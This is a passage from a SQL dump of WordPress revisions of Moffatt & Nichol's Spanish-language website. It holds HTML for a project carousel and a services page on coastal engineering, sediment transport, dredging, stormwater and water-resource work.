deportivo Huishan North Bund</strong></div>\r\n                <div class=\"project_right\">Como miembro principal del equipo de diseño de Huishan North Bund, Moffatt & Nichol aportó el diseño esquemático para dos sistemas de estanques y esclusas así como el diseño de <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Energía\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Terminal marítima de GNL Sabine Pass</strong></div>\r\n                <div class=\"project_right\">Moffatt & Nichol aportó el diseño de ingeniería marítima EPC (Ingeniería, adquisición y construcción) para la terminal marítima de gas natural licuado Sabine Pass en la vía navegable Sabine, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Inspección y rehabilitación\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-three.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\r\n          <div class=\"photo-meta-data\">\r\n            <div class=\"project_title\">\r\n              <div class=\"project_left\"><strong class=\"green\">Inspección de instalaciones de frente costero del astillero naval Puget Sound</strong></div>\r\n              <div class=\"project_right\">Mediante un contrato IDIQ (Entrega indefinida, cantidad indefinida) con el Centro de servicio NAVFAC, Moffatt & Nichol prestó servicios de inspección de instalaciones <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer más</a></span></div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>','Inicio','','inherit','open','open','','19-revision-10','','','2012-12-26 14:40:12','2012-12-26 14:40:12','',19,'http://moffattnichol.com/spanish/19-revision-10/',0,'revision','',0),(2757,1,'2012-06-15 05:38:34','2012-06-15 05:38:34','<div class=\"content_faq\">\r\n  <h3>servicios de recursos costeros, medioambientales e hídricos</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel1.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">modelación numérica de procesos fluviales, estuarinos y costeros</h1>\r\nDado el énfasis en preservar o mejorar el medioambiente, uno de los aspectos más críticos que afectan la aprobación reglamentaria de los nuevos proyectos es la evaluación de su impacto en el medioambiente existente. La participación de Moffatt & Nichol en estas evaluaciones de impacto usualmente requiere nuestras capacidades para analizar procesos fluviales, estuarinos y costeros a través del uso de modelos numéricos avanzados para estudiar los efectos con y sin el proyecto sobre la hidrodinámica (nivel del agua, olas, corrientes, inundaciones), transporte de sedimentos, erosión y deposición y calidad del agua. Tenemos un gran conocimiento de los procesos físicos activos en estas ubicaciones, adquirido mediante la realización de centenares de proyectos afectados, y con la ayuda de investigaciones y simulaciones de modelos numéricos. Moffatt & Nichol ha completado centenares de estudios de modelación, usando varias plataformas de modelación comerciales y de dominio público, en todo el mundo; esto incluye haber realizado análisis de la mayor parte de los principales estuarios y bahías costeras a lo largo de la costas oriental, del golfo y occidental de los Estados Unidos. Muchos de estos estudios de modelación han sido objeto de una rigurosa revisión y aceptación por las partes interesadas relacionadas con los proyectos, incluyendo la comunidad medioambiental y reguladora, como parte del proceso de revisión medioambiental.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">transporte de sedimentos</h1>\r\nEl análisis del transporte de sedimentos de Moffatt & Nichol examina los cambios en el equilibrio de un medioambiente costero que resulta típicamente de acontecimientos naturales (por ejemplo, tormentas) o artificiales (por ejemplo, dragados) que vuelven a colocar el sedimento. Estos análisis son utilizados para predecir los resultados de un acontecimiento o los impactos potenciales de un proyecto mediante el examen de la evolución física del área después de dicho acontecimiento. Los mecanismos físicos examinados incluyen la erosión o deposición como resultado de corrientes existentes o cambios a las corrientes, olas, mareas o a los parámetros del agua (como la densidad, temperatura o composición).\r\n\r\nPara examinar el transporte de sedimentos, la erosión y la deposición, Moffatt & Nichol utiliza métodos analíticos eficientes y comprobados, desarrollados en forma interna, así como sofisticados modelos numéricos comerciales y de dominio público. Moffatt & Nichol ha aplicado estos métodos extensamente en todo el mundo para proyectos de mejoras o daños de riberas y puertos, incluyendo algunos de los mayores proyectos de profundización de canales emprendidos en los Estados Unidos (como el estudio de profundización del puerto de Nueva York/Nueva Jersey).\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/ecosystem.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">restauración del ecosistema</h1>\r\nEn la relativamente nueva era de toma de conciencia del ecosistema, Moffatt & Nichol proporciona frecuentemente servicios de planeamiento, científicos y de ingeniería para proyectos que implican la conservación, mejora o restauración. A menudo, dichos proyectos son componentes de mitigación que permiten que se desarrollen proyectos más grandes que, como tales, están sujetos a mayor escrutinio debido a la participación de los organismos reguladores. Estos componentes usualmente aumentan el número de partes interesadas, incrementan la visibilidad de un proyecto y pueden necesitar una gran coordinación entre dichas partes interesadas: el público, los organismos gubernamentales y las organizaciones no gubernamentales. \r\n\r\nPara dichos proyectos, las estrategias de mejora con frecuencia implican la modificación de los parámetros del agua en el ecosistema (por ejemplo, cambiando el flujo entrante o la distribución de agua dulce o salada), proporcionando ubicaciones/regímenes mejorados para la flora y fauna y protegiendo dichas mejoras contra los cambios adversos (como la estabilización de riberas). Habiendo tratado cada uno de estos aspectos en muchos proyectos de restauración exitosa, Moffatt & Nichol ofrece su experimentado personal con una sólida trayectoria de éxito en proporcionar planeamiento, modelación numérica, gestión de autorizaciones, ingeniería, diseño, servicios de construcción, participación ciudadana y supervisión de proyectos de restauración del ecosistema.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/regionalsend.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">gestión regional de la arena</h1>\r\nHistóricamente, los proyectos de mejora de riberas fueron planeados y diseñados caso por caso, independientemente de sus impactos potenciales en las riberas vecinas o en todo el sistema del litoral. Dichos proyectos han sido considerados más recientemente sobre una base regional, particularmente en el caso de proyectos relacionados con la colocación de arena. Como parte del planeamiento de dichos proyectos, Moffatt & Nichol ha proporcionado a organismos federales, estatales y locales servicios que han incluido la participación de las partes interesadas y de la ciudadanía, la modelación del transporte de sedimentos, análisis del cambio de la ribera y otros estudios integrales de toda la zona del litoral, a fin de ayudarles a manejar los sedimentos costeros como un recurso regional o para coordinar esfuerzos de protección de la ribera entre comunidades costeras vecinas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/beach_nourishment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">recuperación de playas</h1>\r\nDada la naturaleza dinámica de la costa, muchas de las riberas del mundo experimentan cambios impresionantes que pueden hacer necesaria cierta intervención para preservar las oportunidades recreacionales o para proteger la infraestructura existente. Durante décadas, Moffatt & Nichol ha completado con éxito proyectos de recuperación de playas para muchos clientes públicos y privados que comprenden desde el gobierno federal (playas en centros urbanos importantes) hasta corporaciones individuales (playas aisladas en centros turísticos). En apoyo de esos proyectos, Moffatt & Nichol ha proporcionado planeamiento, gestión de autorizaciones, participación de la comunidad, modelación y análisis de la ribera, desarrollo del presupuesto del litoral, análisis de daños y beneficios de tormentas, determinación y evaluación de fuentes de arena y alternativas de dragado, ingeniería, diseño, preparación de documentación de construcción y servicios de licitación y construcción.\r\n\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/intel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">gestión de bocas de entrada</h1>\r\n Las bocas de entrada están entre los elementos más importantes de los sistemas costeros. Físicamente, son primordiales para el funcionamiento de los procesos del litoral y por lo tanto determinan el comportamiento de la ribera mediante el control de dichos procesos en su región. Por ejemplo, permiten el intercambio de agua, sedimento y nutrientes entre las bahías y los océanos y juegan un papel muy importante en los procesos de evolución de las islas de barrera, además de tener un gran impacto en la estabilidad de las riberas adyacentes y en la propagación de la marejada ciclónica en bahías interiores. Además, proporcionan acceso de navegación importante, y con frecuencia irreemplazable, entre esas bahías interiores resguardadas y el mar abierto. \r\n \r\nLa correcta gestión de las bocas de entrada requiere una profunda comprensión y amplia evaluación de la dinámica de la entrada y la ribera. Moffatt & Nichol ha perfeccionado las habilidades y herramientas que utiliza para analizar dichas dinámicas y otros problemas relevantes mediante el análisis y la evaluación de algunas de las bocas de entrada costeras más importantes y dinámicas de Norteamérica. Esta experiencia incluye:\r\n<ul>\r\n<li>Análisis de estabilidad (bocas de entrada individuales y múltiples)</li>\r\n<li>Abertura de la isla de barrera y nuevo desarrollo de bocas de entrada</li>\r\n<li>Evolución del bajío de marea baja y de inundación</li>\r\n<li>Presupuestos de sedimentos</li>\r\n<li>Modelación detallada de olas, hidrodinámico, transporte de sedimentos y morfológico</li>\r\n<li>Estimaciones de asomeramiento de canales</li>\r\n<li>Estructuras de estabilización</li>\r\n<li>Sistemas de derivación mecánicos</li>\r\n<li>Análisis de navegación</li>\r\n<li>Optimización de canales de bocas de entrada (disposición y dimensiones)</li>\r\n<li>Evaluación de impactos de bocas de entrada en la hidrodinámica de la bahía y la calidad del agua</li>\r\n</ul>\r\n&nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/dragged-material.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">gestión de material dragado y su reutilización beneficiosa</h1>\r\nHistóricamente, el material dragado era considerado como “escombros” para desechar mientras que el material dragado más recientemente ha sido reconocido como un recurso valioso para la creación de humedales, recuperación de playas y otros proyectos similares. Con nuestra especialización en ingeniería costera, Moffatt & Nichol ha trabajado continuamente desde su fundación en planes y proyectos de gestión de materiales dragados, incluyendo muchos relacionados con la reutilización beneficiosa de dicho material. Particularmente, Moffatt & Nichol tiene un extenso y exitoso historial de experiencia con proyectos de dragado para el Cuerpo de Ingenieros del Ejército de EE.UU., varias autoridades portuarias y gobiernos internacionales. Los proyectos típicos incluyen el dragado y la colocación de materiales en altiplanicies, riberas, áreas cercanas a la costa y costa afuera, realizados por diferentes razones, que incluyen la profundización de atracaderos, cuencas y canales de navegación, el dragado de emergencia o mantenimiento, la creación o restauración de hábitats/tierras/puertos, otras aplicaciones beneficiosas y la reactivación de antiguos lugares de colocación.\r\n\r\nMuchos de nuestros proyectos de dragado han implicado la modelación numérica de alta gama hidrodinámico y de destino del sedimento (uni-, bi- y tridimensional) e incluyeron la gestión de autorizaciones, estrategias de gestión de largo plazo, planes de gestión de materiales dragados o la documentación de la construcción. También tenemos la capacidad de proporcionar estimaciones de la cantidad “basadas en el riesgo” y opiniones de costos probables en casos en los que el diseño del proyecto utiliza un criterio de riesgo aceptable para el diseño. Hemos completado el dragado para proyectos que varían desde cantidades tan pequeñas como 5.000 yardas cúbicas, hasta la creación de áreas sin edificar adyacentes a puertos que implicaban 26 millones de yardas cúbicas (el proyecto más grande de creación de terreno en los Estados Unidos.)\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-transportion.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">vulnerabilidad del sistema de transporte costero </h1>\r\nA medida que la densidad demográfica continúa aumentando cerca de nuestras costas y se construye infraestructura para apoyar ese aumento, la vulnerabilidad de dicha población e infraestructura al daño de tormentas costeras, así como a un daño más gradual debido a cambios de largo plazo, se ha convertido en un foco de atención mientras los gobiernos intentan presupuestar los gastos iniciales y de mantenimiento. Como la historia demuestra, estos aumentos en la población y la infraestructura han llevado a aumentos correspondientes en los presupuestos, lo que puede ser agravado por su asignación a áreas más vulnerables. Para colaborar con el manejo de estos gastos, Moffatt & Nichol proporciona una gama completa de servicios de planeamiento e ingeniería costeros decisivos para determinar correctamente la vulnerabilidad y para formular los criterios de diseño apropiados que afectan al desarrollo. Por ejemplo, la determinación de la vulnerabilidad de posibles instalaciones de transporte costeras puede afectar la selección de rutas o ubicaciones más rentables. \r\n \r\nLas especialidades de Moffatt & Nichol relacionadas con la determinación de la vulnerabilidad incluyen la modelación hidrodinámica, el análisis retrospectivo del oleaje y el análisis estadístico para determinar los criterios de diseño para la elevación de la marejada ciclónica, la elevación de la altura de la ola y la dirección y magnitudes de la corriente. Estas determinaciones proporcionan la base para los análisis morfológicos costeros, los análisis de socavación, los análisis de colisión de buques y la gestión de aguas pluviales que afectan la localización y el diseño de caminos y puentes costeros.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/hydraulic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">estructuras hidráulicas</h1>\r\nA través de la historia, el hombre ha tratado de controlar, o al menos influir, en las corrientes y los ríos para evitar inundaciones o para mejorar el suministro y la calidad del agua, la navegación, la agricultura y el suministro de energía. Moffatt & Nichol es experto en el planeamiento y diseño de estructuras hidráulicas utilizadas para modificar corrientes y ríos, al mismo tiempo que protege la vida, la propiedad y el medioambiente. Esta experiencia incluye diques fluviales, vertederos, muros de protección contra inundaciones, presas, estructuras hidráulicas de control de flujo, esclusas, compuertas de marea, desvíos de flujo, sifones invertidos, reservorios, lagunas de retención, salidas, desembocaduras, alcantarillas y una variedad de canales naturales y artificiales.</a>\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-structures.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">estructuras costeras </h1>\r\nEn cuanto a otros aspectos en el área de especialización de la ingeniería costera, Moffatt & Nichol ha participado por mucho tiempo en el planeamiento y diseño de estructuras costeras: rompeolas, malecones, diques marítimos, espigones, escolleras, muros de retención, etc., para proteger/estabilizar/controlar secciones de líneas costeras, bocas de entrada, puertos y definir las interfaces tierra/agua. Hemos planeado, analizado y diseñado estructuras costeras en todos los ambientes de frentes costeros:\r\n<ul>\r\n<li>desde líneas costeras abiertas con agua profunda y exposición a tsunamis hasta bahías protegidas con aguas poco profundas y consideraciones acerca de seiches y la sobreelevación del nivel del mar por oleaje. </li>\r\n<li>desde el Ártico, donde el hielo puede determinar los parámetros de diseño, hasta el Ecuador, donde la corrosión puede, y </li>\r\n<li>desde suelos débiles que proporcionan poco apoyo al lecho de roca expuesto</li>\r\n</ul>\r\nEsta amplitud de experiencia y conocimientos sobre estructuras costeras ha sido reconocida al habernos elegido para completar los manuales de diseño de estructuras de frentes costeros para la Marina de EE.UU. y el Cuerpo de Ingenieros del Ejército de EE.UU.\r\n\r\nYa sea que se diseñen directamente o que se proporcione información a otras disciplinas para su diseño, el diseño de estructuras costeras se apoya en los resultados de varios análisis costeros en los que somos expertos, es decir, análisis estadísticos (viento, olas, corrientes, marejadas ciclónicas), modelación numérica y física incluyendo cambios morfológicos costeros, o la determinación de carga hidrodinámica. Por ejemplo, nuestros ingenieros costeros determinan regularmente las cargas hidrodinámicas para que nuestros ingenieros estructurales de frentes costeros las utilicen como una de las cargas dinámicas que serán consideradas durante el diseño de la estructura. Estamos muy familiarizados con los problemas, muchos de ellos únicos, pertinentes al diseño y la construcción de estructuras de zonas costeras, incluyendo el análisis de riesgo, la selección de materiales, la factibilidad de construcción del sistema estructural y las implicaciones de costos de cada uno. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/modeling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">navegación/amarre/atraque de buques</h1>\r\nA medida que las demandas comerciales y recreacionales aumentan, el tamaño y la cantidad de buques que utilizan puertos y vías navegables en el mundo aumentan, lo que puede llevar a diversos problemas y conflictos de navegación. Desde nuestra fundación en 1945 por parte de ingenieros especializados en puertos, Moffatt & Nichol ha participado en proyectos de planeamiento y diseño de navegación formulados para aliviar dichos problemas y conflictos de navegación. Por consiguiente, hemos realizadoestudios de navegación en todo el mundo para una larga lista de clientes, usualmente organismos gubernamentales, pero también para compañías privadas (como empresas de energía, de defensa, fabricantes o expedidores). Además de los estudios de navegación, periódicamente realizamos estudios de amarre y atraque de buques. Estos estudios utilizan modelos numéricos avanzados que examinan las maniobras y el movimiento de buques tanto durante su tránsito como mientras está atracado.\r\n  \r\n<strong>Navegación de buques.</strong> Los estudios de navegación de buques generalmente evalúan las características existentes y propuestas de la vía navegable para las condiciones sin proyecto y con proyecto mediante el análisis de parámetros tales como la utilización/operación del buque, las prácticas de navegación y la gestión de la vía navegable. Moffatt & Nichol tiene gran experiencia en proporcionar tales estudios, incluyendo aspectos tales como los análisis/impactos económicos, análisis/impactos del transporte, características de funcionamiento e hidrodinámica del movimiento del buque y la evaluación cualitativa y cuantitativa de los riesgos, lo que implica el análisis estadístico para las alternativas consideradas. Esta experiencia incluye simulaciones de puente en escritorio y en misión completa de las maniobras del buque en vías navegables, puertos y carriles de navegación para una gama completa de condiciones potenciales de viento, olas y corrientes.\r\n\r\n<strong>Amarre/Atraque.</strong> Moffatt & Nichol utiliza una variedad de modelos de computadora para análisis estáticos y dinámicos de los buques amarrados a estructuras de frentes costeros y amarres costa afuera (de un punto y de múltiples puntos). Los modelos se utilizan para evaluar las operaciones de buques/carga de contenedores, movimientos del buque, cargas de amarre, requisitos de defensas y condiciones medioambientales limitantes (por ejemplo, el tiempo de inactividad asociado con las inclemencias del tiempo, los criterios de evacuación para tormentas severas, la necesidad de ayuda de un remolcador o la necesidad de protección del atraque).\r\n\r\nUsando los resultados de dichos estudios, Moffatt & Nichol ha seguido desarrollando las alternativas seleccionadas mediante el proceso de diseño y construcción. Los proyectos típicos han incluido canales de navegación/cuencas de retorno, dragado, ayudas de navegación, instalaciones de amarres, operaciones de lanchaje, control de ríos, sistemas de defensas y mejoras de la estructura del frente costero.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n    <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/water-resourses.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"12\">recursos hídricos</h1>\r\nCon los cambios de población y las demandas de infraestructura correspondientes, la gestión de la divisoria de aguas se ha convertido en un problema importante en muchos lugares donde anteriormente la población era indiferente, mientras que en otros, con una mayor conciencia de la sostenibilidad, se ha convertido en la preocupación principal que afecta al desarrollo. Para tratar estas preocupaciones, Moffatt & Nichol ha preparado estudios de recursos hídricos que han examinado en detalle y cuidadosamente las divisorias de aguas y las alternativas para manejar este activo en beneficio de la comunidad. Para estos estudios, Moffatt & Nichol ha suministrado el planeamiento, modelación, análisis, soluciones alternativas, participación ciudadana, gestión de autorizaciones, ingeniería, diseño, documentación de la construcción y servicios de licitación y construcción para que los proyectos mejoren o solucionen los problemas de gestión de agua para tareas que comprenden desde iniciativas de grandes divisorias de aguas o problemas de drenaje de subdivisiones hasta el impacto de las escorrentías sobre propietarios individuales.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/storm-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"13\">gestión de aguas pluviales</h1>\r\nLa gestión de aguas pluviales como un medio para reducir las inundaciones o el impacto sobre la calidad del agua causado por las escorrentías se ha convertido en un área de creciente interés de parte de la ciudadanía y de los organismos gubernamentales a medida que aumenta su conciencia de estos agresores del medioambiente. Con esta creciente atención, se ha desarrollado el interés en un tratamiento y una gestión más pequeños y proactivos de las aguas pluviales, cerca de la fuente de la escorrentía, en comparación con el tratamiento de la escorrentía más cerca de su destino. Moffatt & Nichol ha realizado proyectos de aguas pluviales que implicaban solicitudes de subvenciones, planeamiento/restauración de la divisoria de aguas, análisis de llanuras inundables, modelación hidrológica/hidráulica integrada, apoyo para gestión de autorizaciones, mejores prácticas de gestión de aguas pluviales, estructuras hidráulicas, sistemas de bombeo, mitigación de impactos, integración GIS/GPS, coordinación de diferentes organismos y participación ciudadana.\r\n      \r\nHemos completado estos proyectos en una amplia gama de escenarios hidrológicos y topográficos: montañas, colinas y valles costeros, pero proporcionamos excepcionales capacidades para tratar dichos proyectos en valles costeros. En regiones costeras, los problemas de gestión de aguas pluviales son especialmente complejos porque el bajo relieve en topografía y las altas capas freáticas limitan la colocación y con frecuencia afectan el rendimiento de las mejores prácticas de gestión de aguas pluviales convencionales. Como resultado de nuestro enfoque en la región costera, Moffatt & Nichol está muy familiarizado con prácticas menos convencionales, casi atípicas, que funcionan bajo estas complejas condiciones. Como parte de esta familiaridad y de nuestra utilización de modelos numéricos complejos en el ambiente costero, Moffatt & Nichol también proporciona experiencia profesional especializada en la evaluación de problemas de aguas pluviales costeras, que incluyen el uso de modelos de agua superficial/agua subterránea combinadas para analizar su flujo y captación.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/air-sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"14\">análisis de aire, sedimentos y calidad del agua</h1>\r\nPara ayudar a nuestros clientes a responder a los pedidos de los diferentes organismos reguladores que controlan la gestión de autorizaciones de proyectos de frentes costeros y zonas costeras, Moffatt & Nichol ha utilizado modelos numéricos existentes y ha desarrollado un modelo computacional basado en actividades para estimar los efectos de posibles proyectos sobre los sedimentos, el agua o la calidad del aire en la cercanía de dichos proyectos. Estos modelos también se utilizan para desarrollar y examinar alternativas de tratamiento de los sedimentos, del agua o de la calidad del aire durante la construcción del proyecto y posteriormente durante la operación.\r\n  \r\nPara la gestión de sedimentos, Moffatt & Nichol utiliza modelos numéricos muy sofisticados a fin de estudiar el incremento, la erosión y el dragado del sedimento. Modelos similares de las prácticas actuales se utilizan para analizar la calidad del agua de las masas de agua de ríos, estuarios y costas. Por ejemplo, Moffatt & Nichol ha realizado varios proyectos que requerían el retiro, la colocación y el aislamiento de sedimentos contaminados para evitar su reintroducción al medioambiente y los riesgos ecológicos potenciales asociados con dicha reintroducción. Estos proyectos generalmente usan instalaciones de contención que aíslan los sedimentos tratados químicamente en áreas de colocación en altiplanicies, cerca de la costa, costa afuera o en el subsuelo; Moffatt & Nichol ha modelado dichas instalaciones en todas las etapas de su realización.\r\n\r\nComo parte de la obtención de las autorizaciones para proyectos dentro de áreas de emisión de aire delicadas, Moffatt & Nichol ha desarrollado un modelo computacional basado en actividades que cuantifica las emisiones de aire e integra los factores de emisión de aire aceptados por la Agencia para la Protección del Medioambiente (EPA, por sus siglas en inglés) con modelos de planeamiento operativo desarrollados por Moffatt & Nichol. Este modelo se ha utilizado para modelar aspectos de la emisión en proyectos de desarrollo portuario en áreas muy urbanizadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/vesel-new.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"15\">estudios de maniobras y tráfico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de Simulación para Modelación Alternativa (SLAM, por sus siglas en inglés).  Este modelo también incluye un módulo de gráficos que proporciona una visualización animada en pantalla de los resultados.  Pueden hacerse análisis del tráfico de buques en puertos, vías navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilización de un puerto.  Moffatt & Nichol ha desarrollado un modelo avanzado de tráfico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el tráfico de naves comerciales en puerto hasta operaciones de tráfico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/watershed.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"17\">restauración de la divisoria de aguas</h1>\r\n Han ocurrido impactos negativos sobre la calidad del agua y el hábitat acuático en los ríos, corrientes, lagos, estuarios y humedales de Estados Unidos a causa de varios efectos a lo largo del tiempo. La restauración de la divisoria de aguas busca devolver algunos de estos ecosistemas a condiciones aproximadamente iguales a las que tenía previas a las alteraciones. Esto requiere la implementación integral de diversas soluciones o proyectos para los cuales Moffatt & Nichol puede proporcionar una gama completa de servicios de planeamiento, modelación numérica, diseño de ingeniería y construcción, necesarios para que dichos proyectos tengan éxito.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n\r\n','Servicios de recursos costeros, medioambientales e hídricos','','inherit','open','open','','526-revision-4','','','2012-06-15 05:38:34','2012-06-15 05:38:34','',526,'http://moffattnichol.com/spanish/526-revision-4/',0,'revision','',0),(2758,1,'2013-01-09 05:20:39','2013-01-09 05:20:39','<div class=\"content_faq\">\r\n  <h3>servicios de recursos 